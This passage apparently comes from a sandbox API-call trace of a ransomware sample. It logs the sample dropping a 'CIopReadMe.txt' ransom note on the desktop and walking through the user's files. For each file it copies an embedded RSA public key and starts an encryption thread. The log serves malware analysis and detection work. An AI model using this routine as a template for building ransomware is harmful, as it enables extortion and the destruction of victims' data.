lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0097.888] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0097.888] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0097.888] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0097.888] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x530 [0097.950] WriteFile (in: hFile=0x530, lpBuffer=0x5f9128*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x1ebe110, lpOverlapped=0x0 | out: lpBuffer=0x5f9128*, lpNumberOfBytesWritten=0x1ebe110*=0x759, lpOverlapped=0x0) returned 1 [0097.951] CloseHandle (hObject=0x530) returned 1 [0098.006] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0098.006] lstrcmpW (lpString1="-NlSo.bmp", lpString2="..") returned 1 [0098.006] lstrcmpW (lpString1="-NlSo.bmp", lpString2=".") returned 1 [0098.006] Sleep (dwMilliseconds=0xd) [0098.030] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.030] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="-NlSo.bmp" | out: lpString1="-NlSo.bmp") returned="-NlSo.bmp" [0098.030] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0098.030] SetErrorMode (uMode=0x1) returned 0x1 [0098.030] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0098.031] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0098.031] CloseHandle (hObject=0x52c) returned 1 [0098.031] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0098.031] lstrcmpW (lpString1="2SXCpVLNs73BQPAtgxC.png", lpString2="..") returned 1 [0098.031] lstrcmpW (lpString1="2SXCpVLNs73BQPAtgxC.png", lpString2=".") returned 1 [0098.031] Sleep (dwMilliseconds=0xd) [0098.080] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.080] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="2SXCpVLNs73BQPAtgxC.png" | out: lpString1="2SXCpVLNs73BQPAtgxC.png") returned="2SXCpVLNs73BQPAtgxC.png" [0098.080] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0098.080] WaitForSingleObject (hHandle=0x54c, dwMilliseconds=0xffffffff) returned 0x0 [0098.344] SetErrorMode (uMode=0x1) returned 0x1 [0098.344] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0098.344] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0098.344] CloseHandle (hObject=0x554) returned 1 [0098.344] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0098.344] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0098.344] lstrcmpW (lpString1="45dQ123.wav", lpString2="..") returned 1 [0098.344] lstrcmpW (lpString1="45dQ123.wav", lpString2=".") returned 1 [0098.344] Sleep (dwMilliseconds=0xd) [0098.372] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.372] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="45dQ123.wav" | out: lpString1="45dQ123.wav") returned="45dQ123.wav" [0098.372] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0098.373] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xffffffff) returned 0x0 [0098.544] SetErrorMode (uMode=0x1) returned 0x1 [0098.544] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0098.544] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0098.544] CloseHandle (hObject=0x560) returned 1 [0098.544] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0098.544] lstrcmpW (lpString1="ape_Je.m4a", lpString2="..") returned 1 [0098.544] lstrcmpW (lpString1="ape_Je.m4a", lpString2=".") returned 1 [0098.544] Sleep (dwMilliseconds=0xd) [0098.560] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.560] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="ape_Je.m4a" | out: lpString1="ape_Je.m4a") returned="ape_Je.m4a" [0098.560] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0098.561] SetErrorMode (uMode=0x1) returned 0x1 [0098.561] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0098.561] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0098.561] CloseHandle (hObject=0x53c) returned 1 [0098.561] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0098.561] lstrcmpW (lpString1="aV64x7o3lA2K.wav", lpString2="..") returned 1 [0098.561] lstrcmpW (lpString1="aV64x7o3lA2K.wav", lpString2=".") returned 1 [0098.561] Sleep (dwMilliseconds=0xd) [0098.609] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.609] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="aV64x7o3lA2K.wav" | out: lpString1="aV64x7o3lA2K.wav") returned="aV64x7o3lA2K.wav" [0098.609] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250 [0098.610] SetErrorMode (uMode=0x1) returned 0x1 [0098.610] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0098.610] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0098.610] CloseHandle (hObject=0x560) returned 1 [0098.610] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0098.610] lstrcmpW (lpString1="Bu5bp9.avi", lpString2="..") returned 1 [0098.610] lstrcmpW (lpString1="Bu5bp9.avi", lpString2=".") returned 1 [0098.610] Sleep (dwMilliseconds=0xd) [0098.662] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.662] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="Bu5bp9.avi" | out: lpString1="Bu5bp9.avi") returned="Bu5bp9.avi" [0098.662] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0098.662] WaitForSingleObject (hHandle=0x570, dwMilliseconds=0xffffffff) returned 0x0 [0098.840] SetErrorMode (uMode=0x1) returned 0x1 [0098.840] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0098.840] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0098.840] CloseHandle (hObject=0x53c) returned 1 [0098.840] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0098.840] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0098.840] lstrcmpW (lpString1="dBpSfcucLn3NuQ6je7.rtf", lpString2="..") returned 1 [0098.840] lstrcmpW (lpString1="dBpSfcucLn3NuQ6je7.rtf", lpString2=".") returned 1 [0098.840] Sleep (dwMilliseconds=0xd) [0098.857] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.857] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="dBpSfcucLn3NuQ6je7.rtf" | out: lpString1="dBpSfcucLn3NuQ6je7.rtf") returned="dBpSfcucLn3NuQ6je7.rtf" [0098.857] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0098.858] WaitForSingleObject (hHandle=0x57c, dwMilliseconds=0xffffffff) returned 0x0 [0099.019] SetErrorMode (uMode=0x1) returned 0x1 [0099.019] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0099.019] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0099.019] CloseHandle (hObject=0x584) returned 1 [0099.019] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0099.019] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0099.020] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0099.020] lstrlenW (lpString="desktop.ini") returned 11 [0099.020] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0099.020] lstrcmpW (lpString1="dizklXpXe.ppt", lpString2="..") returned 1 [0099.020] lstrcmpW (lpString1="dizklXpXe.ppt", lpString2=".") returned 1 [0099.020] Sleep (dwMilliseconds=0xd) [0099.045] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.045] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="dizklXpXe.ppt" | out: lpString1="dizklXpXe.ppt") returned="dizklXpXe.ppt" [0099.045] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0099.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0099.045] SetErrorMode (uMode=0x1) returned 0x1 [0099.045] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0099.045] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0099.045] CloseHandle (hObject=0x568) returned 1 [0099.045] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0099.045] lstrcmpW (lpString1="HotGIrls", lpString2="..") returned 1 [0099.045] lstrcmpW (lpString1="HotGIrls", lpString2=".") returned 1 [0099.045] Sleep (dwMilliseconds=0xd) [0099.075] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.075] lstrcpyW 